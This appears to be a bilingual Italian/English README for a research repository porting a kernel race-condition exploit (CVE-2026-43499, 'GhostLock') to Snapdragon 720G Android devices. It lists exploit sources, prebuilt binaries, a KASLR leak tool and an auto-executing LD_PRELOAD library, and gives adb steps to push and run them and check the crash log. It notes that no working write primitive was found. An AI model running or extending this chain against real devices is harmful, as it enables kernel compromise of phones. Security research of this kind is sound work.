GhostLock-SD720G-CVE-2026-43499/
├── exploit/              # Sorgente e binari dell'exploit del kernel
│   ├── sd720g_exploit.c       # Exploit principale (trigger race + KASLR + log)
│   ├── sd720g_exploit         # Binario ARM64 compilato (2.1 MB)
│   ├── target_sd720g.h        # Offset dei simboli core (12 funzioni)
│   ├── target_sd720g_complete.h  # Tabella simboli completa (37 simboli)
│   ├── perf_leak_sd720g.c     # Strumento di leak dell'indirizzo base KASLR
│   ├── perf_leak              # Binario compilato (2.1 MB)
│   └── compile_perf_leak.bat  # Script di compilazione NDK
│
├── preload/              # Libreria condivisa LD_PRELOAD
│   ├── sd720g_preload.c      # Exploit basato su costruttore (esecuzione automatica)
│   ├── arm.so                # .so ARM64 compilato (16 KB)
│   └── compile_preload.bat   # Script di compilazione
│
├── tools/                # Script di analisi ed estrazione
│   ├── extract_kallsyms.py   # Parser kallsyms in puro Python (con supporto PIE)
│   ├── extract_symbols.py    # Estrattore offset dei simboli
│   ├── find_ghostlock_bug.py # Ricerca binaria del pattern pi_blocked_on=NULL
│   ├── reanalysis.py         # Tracciamento della catena di chiamate per 0x105aeb0 e rb_erase
│   ├── trace_waiter.py       # Ricerca delle scritture sul campo rt_mutex_waiter
│   ├── analyze_pi_state.py   # Analisi del ciclo di vita di allocazione/rilascio di pi_state
│   └── kgsl_uaf_test.c       # Test di trigger UAF per GPU KGSL
│
├── docs/                 # Documenti di analisi completa
│   ├── CVE2026-43499_SD720G_分析.md        # Rapporto di analisi completo (cinese)
│   ├── GHOSTLOCK_SD720G_PORT_RECORD.md     # Registro del porting e scoperte
│   ├── CVE2026-43499_SD720G_参考数据汇总.md  # Dati di riferimento e tabella simboli
│   ├── ALTERNATIVE_STRATEGY.md             # Percorsi di attacco alternativi
│   ├── HEAP_ANALYSIS.md                    # Ciclo di vita dell'heap / pi_state
│   ├── STACK_ANALYSIS.md                   # Fattibilità del recupero dello stack
│   ├── WRITE_PRIMITIVE.md                  # Ricerca sulle primitive di scrittura
│   ├── BOOT_ANALYSIS.md                    # Struttura dell'immagine di avvio
│   └── FINAL_ANALYSIS.md                   # Conclusioni finali

Vulnerabilità CVE-2026-43499 presente / Vulnerability exists:         ✅ (str xzr a 0xdbf10)
Catena di exploit IonStack standard / Standard exploit chain:           ❌ (codice Qualcomm diverso / Code differs)
Primitiva di scrittura alternativa / Alternative write primitive:                ⚠️ Non trovata nell'analisi corrente / Not found

# Invia i file / Push files
adb push preload/arm.so /data/local/tmp/
adb push exploit/perf_leak /data/local/tmp/
adb shell chmod 755 /data/local/tmp/arm.so /data/local/tmp/perf_leak

# Primo passo: leak dell'indirizzo base KASLR / Step 1: Leak KASLR base
adb shell /data/local/tmp/perf_leak

# Secondo passo: trigger della race condition GhostLock / Step 2: Trigger GhostLock race
adb shell LD_PRELOAD=/data/local/tmp/arm.so env

# Dopo il crash, controlla dmesg / After crash, check dmesg
adb shell dmesg | grep -A 30 "PC\|Call trace\|Internal error"